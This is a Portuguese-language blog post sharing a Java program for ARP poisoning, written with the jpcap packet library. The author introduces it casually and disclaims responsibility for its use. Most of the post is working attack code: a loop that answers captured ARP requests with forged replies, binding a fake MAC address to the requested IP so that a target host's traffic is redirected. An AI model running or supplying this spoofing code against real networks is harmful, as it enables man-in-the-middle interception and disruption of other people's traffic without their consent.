segunda-feira, 10 de junho de 2013

Arp poison java

Pessoal,

Gostaria de compartilhar com vcs uma coisa que ME GUSTA MUCHO !

Eu sei que mta gente vai me criticar falando que java + rede = não e bla bla bla e bla!

To preocupadissimo com isso ! HUEHUaHee

Então, chama-se arp poison, quem não sabe o que é vai ai o link : http://www.vivaolinux.com.br/artigo/ARP-Poisoning-compreenda-os-principios-e-defendase , e ai implementei algo em java usando uma lib mto conhecida pelo pessoal que gosta de linux chamada PCap, vai o link do jar : http://sourceforge.net/projects/jpcap/

Espero que gostem !



 import jpcap.JpcapCaptor;  
 import jpcap.JpcapSender;  
 import jpcap.packet.ARPPacket;  
 import jpcap.packet.EthernetPacket;  
 public class Arp {  
      private static void arpPoisonTarget1(JpcapCaptor captor, byte[] mac) {  
           JpcapSender sender;  
           ARPPacket p;  
           ARPPacket arp;  
           EthernetPacket ether;  
           while (true) {  
                // recebe o arp e le  
                p = (ARPPacket) captor.getPacket();  
                if (p != null && p.operation == 1) {  
                     System.out.println(p.toString());  
                     // source mac - adress spoofing  
                     byte[] mac_fake = new byte[] { (byte) 254, (byte) 253,  
                               (byte) 252, (byte) 240, (byte) 9, (byte) 40 };  
                     // byte[] mac_fake = mac;  
                     byte[] scrip = p.target_protoaddr;  
                     byte[] mac_destination = new byte[] { (byte) 0, (byte) 22,  
                               (byte) 200, (byte) 130, (byte) 123, (byte) 43 };  
                     // pega o mac de destino do pacote recebido   
                     byte[] destip = p.sender_protoaddr;  
                     // cria um pacote de resposta   
                     arp = new ARPPacket();  
                     // parametros do arp ARP   
                     arp.hardtype = ARPPacket.HARDTYPE_ETHER;  
                     arp.prototype = ARPPacket.PROTOTYPE_IP;  
                     arp.operation = ARPPacket.ARP_REPLY;  
                     arp.hlen = 6;  
                     arp.plen = 4;  
                     arp.sender_hardaddr = mac_fake;  
                     arp.sender_protoaddr = scrip;  
                     arp.target_hardaddr = mac_destination;  
                     arp.target_protoaddr = destip;  
                     // Ethernetpakket  
                     ether = new EthernetPacket();  
                     ether.frametype = EthernetPacket.ETHERTYPE_ARP;  
                     ether.src_mac = mac;  
                     ether.dst_mac = mac_destination;  
                     arp.datalink = ether;  
                     // mandando !  
                     sender = captor.getJpcapSenderInstance();  
                     sender.sendPacket(arp);  
                }  
           }  
      }  
 }  

Detalhe : NÃO QUERO SABER O QUE VOCÊ FEZ COM O CÓDIGO, OU SEJA, ESTÁ POR SUA CONTA EM RISCO AMIGUINHO!

É isso.

Abraços aos que fô da família !

Nenhum comentário:

Postar um comentário